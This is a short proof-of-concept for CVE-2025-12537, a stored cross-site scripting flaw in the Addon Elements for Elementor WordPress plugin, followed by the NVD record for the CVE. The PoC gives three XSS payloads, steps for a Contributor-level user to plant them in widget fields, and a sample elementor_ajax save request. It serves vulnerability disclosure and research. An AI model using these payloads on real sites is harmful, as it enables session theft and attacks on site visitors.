CVE-2025-12537

// CVE-2025-12537 PoC - Stored XSS in Addon Elements for Elementor // Author: [email protected] // PoC payload for XSS injection // This payload can be inserted into widget parameters (e.g., text fields, URLs) var xssPayload = '<script>alert(document.cookie)</script>'; var imgPayload = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'; var svgPayload = '<svg/onload=alert(document.domain)>'; // Example: Attacker with Contributor access modifies a page via Elementor // Steps: // 1. Login as Contributor or higher role // 2. Edit any page with Elementor // 3. Add any Addon Elements widget (e.g., Info Box, Button, etc.) // 4. Insert XSS payload in vulnerable parameter fields // 5. Save and publish the page // 6. Any user visiting the page will execute the injected script // Example API request structure (conceptual) const exploitData = { action: 'elementor_ajax', commands: ['save_builder'], data: { elements: [{ id: 'unique-widget-id', widgetType: 'addon_elements_info_box', settings: { title: xssPayload, // Vulnerable field // other settings... } }] } }; console.log('XSS Payload:', xssPayload); console.log('Target: Addon Elements for Elementor <= 1.14.3');

{"cve": {"id": "CVE-2025-12537", "sourceIdentifier": "[email protected]", "published": "2025-12-14T06:15:36.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Addon Elements for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.14.3. This is due to insufficient input sanitization and output escaping on multiple widget parameters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts via multiple widget parameters in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3415227/addon-elements-for-elementor-page-builder/trunk/assets/js/eae.js", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/94217d06-21c2-443d-ae2c-a2dbd65b7908?source=cve", "source": "[email protected]"}]}}